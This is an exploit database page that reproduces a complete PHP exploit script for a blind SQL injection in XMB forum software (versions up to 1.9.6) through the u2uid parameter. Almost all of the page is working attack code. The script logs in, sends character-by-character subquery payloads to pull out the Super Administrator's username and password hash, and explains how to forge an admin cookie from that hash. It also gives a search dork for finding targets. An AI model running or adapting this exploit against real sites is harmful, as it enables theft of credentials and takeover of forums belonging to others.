Lucene search
K

XMB <= 1.9.6 (u2uid) Remote SQL Injection Exploit (mq=off)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

XMB <= 1.9.6 Remote SQL Injection Exploit (mq=off

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;XMB &#60;= 1.9.6 &#39;u2uid&#39; SQL injection / admin credentials disclosure\n&#34;;
echo &#34;by rgod [email protected]\n&#34;;
echo &#34;site: http://retrogod.altervista.org\n&#34;;
echo &#34;dork: \&#34;Powered by XMB\&#34;\n\n&#34;;

/*
works with magic_quotes=off
Mysql &#62;= 4.1 (allowing subs)
*/

if ($argc&#60;5) {
echo &#34;Usage: php &#34;.$argv[0].&#34; host path username password OPTIONS\n&#34;;
echo &#34;host:      target server (ip/hostname)\n&#34;;
echo &#34;path:      path to XMB \n&#34;;
echo &#34;user/pass: you need a valid user account\n&#34;;
echo &#34;Options:\n&#34;;
echo &#34;   -T[prefix]   specify a table prefix (default: xmb_)\r\n&#34;;
echo &#34;   -d[delay]       \&#34;   a delay between posts (there is an antiflood protection, default: 5)\r\n&#34;;
echo &#34;   -p[port]:       \&#34;   a port other than 80\n&#34;;
echo &#34;   -P[ip:port]:    \&#34;   a proxy\n&#34;;
echo &#34;Examples:\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /xmb/ user pass -d6\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /xmb/Files/ user pass -Txmb191_\n&#34;;
die;
}

/* software site: http://www.xmbforum.com/

   tested versions:
		   XMB 1.9.3 Final
		   XMB 1.9.4 Final
		   XMB 1.9.5 Final
                   XMB 1.9.6 Alpha

  download page: http://snaps.xmbforum.com/

  vulnerable code in u2u.inc.php near lines 176-219 (code taken from 1.9.5):

  ...
  function u2u_send($u2uid, $msgto, $subject, $message, $u2upreview) {
    global $db, $self, $lang, $username, $SETTINGS, $table_u2u, $del;
    global $u2uheader, $u2ufooter, $u2ucount, $u2uquota;
    global $altbg1, $altbg2, $bordercolor, $borderwidth, $tablespace, $cattext, $thewidth;
    global $forward, $reply;

    global $sendsubmit, $savesubmit, $previewsubmit;

    $username = checkInput($username, &#39;&#39;, &#39;&#39;, &#39;script&#39;, false);

    if ( $self[&#39;ban&#39;] == &#39;u2u&#39; || $self[&#39;ban&#39;] == &#39;both&#39; ) {
        error( $lang[&#39;textbanfromu2u&#39;], false, $u2uheader, $u2ufooter, false, true, false, false );
    }

    if ( $u2ucount &#62;= $u2uquota && $u2uquota &#62; 0 ) {
        error( $lang[&#39;u2ureachedquota&#39;], false, $u2uheader, $u2ufooter, false, true, false, false );
    }

    if (isset($savesubmit)) {
        if (empty($subject) || empty($message)) {
            error( $lang[&#39;u2uempty&#39;], false, $u2uheader, $u2ufooter, false, true, false, false );
        }

        db_u2u_insert( &#39;&#39;, &#39;&#39;, &#39;draft&#39;, $self[&#39;username&#39;], &#39;Drafts&#39;, $subject, $message, &#39;yes&#39;, &#39;no&#39; );
        u2u_msg($lang[&#39;imsavedmsg&#39;], &#34;u2u.php?folder=Drafts&#34;);
    }

    if ( isset( $sendsubmit ) ) {
        $errors = &#39;&#39;;
        if ( empty( $subject ) || empty( $message ) ) {
            error( $lang[&#39;u2uempty&#39;], false, $u2uheader, $u2ufooter, false, true, false, false );
        }
		// floodcontrol!
		// $SETTINGS[&#39;floodctrl&#39;]
		if($db-&#62;result($db-&#62;query(&#34;SELECT count(u2uid) FROM $table_u2u WHERE msgfrom=&#39;$self[username]&#39; AND dateline &#62; &#34;.(time()-$SETTINGS[&#39;floodctrl&#39;])), 0) &#62; 0) {
			error($lang[&#39;floodprotect_u2u&#39;], false, $u2uheader, $u2ufooter, false, true, false, false );
		}

        $u2uid = $_POST[&#39;u2uid&#39;]; // [*]   &#60;------------- this break the global protection

        if ( strstr( $msgto, &#34;,&#34; ) && X_STAFF) {
            $errors = u2u_send_multi_recp($msgto, $subject, $message, $u2uid);
        } else {
            $errors = u2u_send_recp($msgto, $subject, $message, $u2uid);
        }
    ...

$u2uid argument is not properly sanitized before to be sent to the u2u_send_recp function:

...
function u2u_send_recp($msgto, $subject, $message, $u2uid=0) {
    global $db, $table_members, $self, $SETTINGS, $lang, $onlinetime, $bbname, $adminemail, $table_u2u, $del;

    $errors = &#39;&#39;;

    $query = $db-&#62;query( &#34;SELECT username, email, lastvisit, ignoreu2u, emailonu2u, status FROM $table_members WHERE username=&#39;&#34; . trim( $msgto ) . &#34;&#39;&#34; );
    if ( $rcpt = $db-&#62;fetch_array( $query ) ) {
        $ilist = array_map( &#39;trim&#39;, explode( &#34;,&#34;, $rcpt[&#39;ignoreu2u&#39;] ) );
        if ( !in_array( $self[&#39;username&#39;], $ilist ) || X_ADMIN ) {
            $username = $rcpt[&#39;username&#39;];
            db_u2u_insert( $username, $self[&#39;username&#39;], &#39;incoming&#39;, $username, &#39;Inbox&#39;, $subject, $message, &#39;no&#39;, &#39;yes&#39; );
            if ( $self[&#39;saveogu2u&#39;] == &#39;yes&#39; ) {
                db_u2u_insert( $username, $self[&#39;username&#39;], &#39;outgoing&#39;, $self[&#39;username&#39;], &#39;Outbox&#39;, $subject, $message, &#39;no&#39;, &#39;yes&#39; );
            }
            //u2u to trash ;)
            if($del == &#34;yes&#34; && $u2uid &#62; 0){
                   $db-&#62;query( &#34;UPDATE $table_u2u SET folder=&#39;Trash&#39; WHERE u2uid=&#39;$u2uid&#39; AND owner=&#39;$self[username]&#39;&#34; ); // [**] affected query
            }
...

there is a global protection in xmb.php but [*[ totally break the rules, so,
with magic_quotes_gpc=off, we have sql injection in [**], affected query could become

UPDATE xmb_u2u SET folder=&#39;Trash&#39; WHERE u2uid=&#39;9999999999&#39; or (1=(SELECT(IF((ASCII(SUBSTRING(password,1,1))=48),1,0)) FROM xmb_members WHERE status=&#39;Super Administrator&#39;) AND owner=&#39;rgod&#39;/*&#39; AND owner=&#39;rgod&#39;

because MySQL &#62;= 4.1 allows SELECT subquery.

By sending yourself private messages, trashing them and resend you can
ask true/false questions to the database to extract admin username/password hash pair

you do not need to force the md5 hash, you can set a new cookie like this:

xmbuser=[admin user]; xmbpw=[md5 hash];

to act as admin
									      */

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$proxy=&#34;&#34;;
$prefix=&#34;xmb_&#34;;
$delay=&#34;5&#34;;
for ($i=3; $i&#60;=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-T&#34;)
{
  $prefix=str_replace(&#34;-T&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-d&#34;)
{
  $delay=str_replace(&#34;-d&#34;,&#34;&#34;,$argv[$i]);
}
}

function my_encode($my_string)
{
  $encoded=&#34;CHAR(&#34;;
  for ($k=0; $k&#60;=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=&#34;)&#34;;}
    else {$encoded.=&#34;,&#34;;}
  }
  return $encoded;
}

$data =&#34;username=&#34;.$user;
$data.=&#34;&password=&#34;.$pass;
$data.=&#34;&profile_user_id=&#34;.$profile_user_id;
$data.=&#34;&hide=1&#34;;
$data.=&#34;&secure=yes&#34;;
$data.=&#34;&loginsubmit=Login&#34;;
$packet =&#34;POST &#34;.$path.&#34;misc.php?action=login HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$cookie=&#34;&#34;;
for ($i=1; $i&#60;count($temp); $i++)
{
  $temp2=explode(&#34; &#34;,$temp[$i]);
  $temp3=explode(&#34;\r&#34;,$temp2[0]);
  if (!strstr($temp3[0],&#34;;&#34;)){$temp3[0]=$temp3[0].&#34;;&#34;;}
  $cookie.=&#34; &#34;.$temp3[0];
}
if (($cookie==&#39;&#39;) | (!strstr($cookie,&#34;xmbuser&#34;)) | (!strstr($cookie,&#34;xmbpw&#34;))){echo &#34;Unable to login...&#34;;die;}
else {echo &#34;cookie -&#62;&#34;.$cookie.&#34;\r\n&#34;;}

//mqg check...
$sql=&#34;999999&#39;&#34;;
echo &#34;sql -&#62; &#34;.$sql.&#34;\r\n&#34;;
$sql=urlencode($sql);
$data =&#34;u2uid=&#34;.$sql;
$data.=&#34;&msgto=&#34;.$user;
$data.=&#34;&subject=hello&#34;;
$data.=&#34;&message=hellohellohello&#34;;
$data.=&#34;&del=yes&#34;;
$data.=&#34;&sendsubmit=1&#34;;
$packet =&#34;POST &#34;.$path.&#34;u2u.php?action=send HTTP/1.0\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;u2u.php\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep($delay);
if (!strstr($html,&#34;MySQL has encountered an unknown error&#34;))
{
//debug
//echo $html;
die(&#34;magic_quotes_gpc On here...&#34;);
}
else
{
echo &#34;mqg off, Ok, let&#39;s go...\n&#34;;}
$packet =&#34;GET &#34;.$path.&#34;u2u.php?action=emptytrash HTTP/1.0\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;u2u.php\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
sendpacketii($packet);

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;
$password=&#34;&#34;;
while (!strstr($password,chr(0)))
{
  for ($i=0; $i&#60;=255; $i++)
  {
    if (in_array($i,$md5s))
      {
        $sql=&#34;999999&#39;/**/or/**/(1=(SELECT(IF((ASCII(SUBSTRING(password,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),1,0))/**/FROM/**/&#34;.$prefix.&#34;members/**/WHERE/**/status=&#34;.my_encode(&#34;Super Administrator&#34;).&#34;) AND owner=&#34;.my_encode($user).&#34;)/*&#34;;
        echo &#34;sql -&#62; &#34;.$sql.&#34;\r\n&#34;;
        $sql=urlencode($sql);
        $data =&#34;u2uid=&#34;.$sql;
        $data.=&#34;&msgto=&#34;.$user; //send to yourself
        $data.=&#34;&subject=hello&#34;;
        $data.=&#34;&message=hellohellohello&#34;;
        $data.=&#34;&del=yes&#34;;
        $data.=&#34;&sendsubmit=1&#34;;
        $packet =&#34;POST &#34;.$path.&#34;u2u.php?action=send HTTP/1.0\r\n&#34;;
        $packet.=&#34;Referer: http://&#34;.$host.$path.&#34;u2u.php\r\n&#34;;
        $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
        $packet.=&#34;Connection: Close\r\n&#34;;
        $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
        $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
        $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n\r\n&#34;;
        $packet.=$data;
        sendpacketii($packet);
        sleep($delay);//ah we have an antiflood protection, so wait 5 seconds
        $packet =&#34;GET &#34;.$path.&#34;u2u.php?folder=Trash HTTP/1.0\r\n&#34;;
        $packet.=&#34;Referer: http://&#34;.$host.$path.&#34;u2u.php\r\n&#34;;
        $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
        $packet.=&#34;Connection: Close\r\n&#34;;
        $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
        sendpacketii($packet);
        if (strstr($html,&#34;u2uid=&#34;))
	{ $password.=chr($i);
	  echo &#34;password -&#62; &#34;.$password.&#34;[???]\r\n&#34;;
          $packet =&#34;GET &#34;.$path.&#34;u2u.php?action=emptytrash HTTP/1.0\r\n&#34;;
          $packet.=&#34;Referer: http://&#34;.$host.$path.&#34;u2u.php\r\n&#34;;
          $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
          $packet.=&#34;Connection: Close\r\n&#34;;
          $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
          sendpacketii($packet);
	  sleep(2);
	  break;
	}

      }
    if ($i==255) {die(&#34;Exploit failed...&#34;);}
    }
  $j++;
}
$packet =&#34;GET &#34;.$path.&#34;u2u.php?action=emptytrash HTTP/1.0\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;u2u.php\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
sendpacketii($packet);

$unused = array(&#39;&#60;&#39;, &#39;&#62;&#39;, &#39;|&#39;, &#39;&#34;&#39;, &#39;[&#39;, &#39;]&#39;, &#39;\\&#39;, &#39;,&#39;, &#39;@&#39;, &#39;\&#39;&#39;, &#39; &#39;);
$j=1;
$admin=&#34;&#34;;
while (!strstr($admin,chr(0)))
{
  for ($i=0; $i&#60;=255; $i++)
  {
    if (!in_array(chr($i),$unused))
    {
        $sql=&#34;999999&#39;/**/or/**/(1=(SELECT(IF((ASCII(SUBSTRING(username,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),1,0))/**/FROM/**/&#34;.$prefix.&#34;members/**/WHERE/**/status=&#34;.my_encode(&#34;Super Administrator&#34;).&#34;) AND owner=&#34;.my_encode($user).&#34;)/*&#34;;
        echo &#34;sql -&#62; &#34;.$sql.&#34;\r\n&#34;;
        $sql=urlencode($sql);
        $data =&#34;u2uid=&#34;.$sql;
        $data.=&#34;&msgto=&#34;.$user; //send to yourself
        $data.=&#34;&subject=hello&#34;;
        $data.=&#34;&message=hellohellohello&#34;;
        $data.=&#34;&del=yes&#34;;
        $data.=&#34;&sendsubmit=1&#34;;
        $packet =&#34;POST &#34;.$path.&#34;u2u.php?action=send HTTP/1.0\r\n&#34;;
        $packet.=&#34;Referer: http://&#34;.$host.$path.&#34;u2u.php\r\n&#34;;
        $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
        $packet.=&#34;Connection: Close\r\n&#34;;
        $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
        $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
        $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n\r\n&#34;;
        $packet.=$data;
        sendpacketii($packet);
        sleep($delay);//ah we have an antiflood protection, so wait 5 seconds
        $packet =&#34;GET &#34;.$path.&#34;u2u.php?folder=Trash HTTP/1.0\r\n&#34;;
        $packet.=&#34;Referer: http://&#34;.$host.$path.&#34;u2u.php\r\n&#34;;
        $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
        $packet.=&#34;Connection: Close\r\n&#34;;
        $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
        sendpacketii($packet);
        if (strstr($html,&#34;u2uid=&#34;))
	{ $admin.=chr($i);
	  echo &#34;admin -&#62; &#34;.$admin.&#34;[???]\r\n&#34;;
          $packet =&#34;GET &#34;.$path.&#34;u2u.php?action=emptytrash HTTP/1.0\r\n&#34;;
          $packet.=&#34;Referer: http://&#34;.$host.$path.&#34;u2u.php\r\n&#34;;
          $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
          $packet.=&#34;Connection: Close\r\n&#34;;
          $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
          sendpacketii($packet);
	  sleep(2);
	  break;
	}
   }
   if ($i==255) {die(&#34;Exploit failed...&#34;);}
  }
$j++;
}

echo &#34;--------------------------------------------------------------------\r\n&#34;;
echo &#34;admin          -&#62; &#34;.$admin.&#34;\r\n&#34;;
echo &#34;password (md5) -&#62; &#34;.$password.&#34;\r\n&#34;;
echo &#34;--------------------------------------------------------------------\r\n&#34;;

function is_hash($hash)
{
 if (ereg(&#34;^[a-f0-9]{32}&#34;,trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($password)) {echo &#34;Exploit succeeded...&#34;;}
else {echo &#34;Exploit failed...&#34;;}

?&#62;

# milw0rm.com [2006-08-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16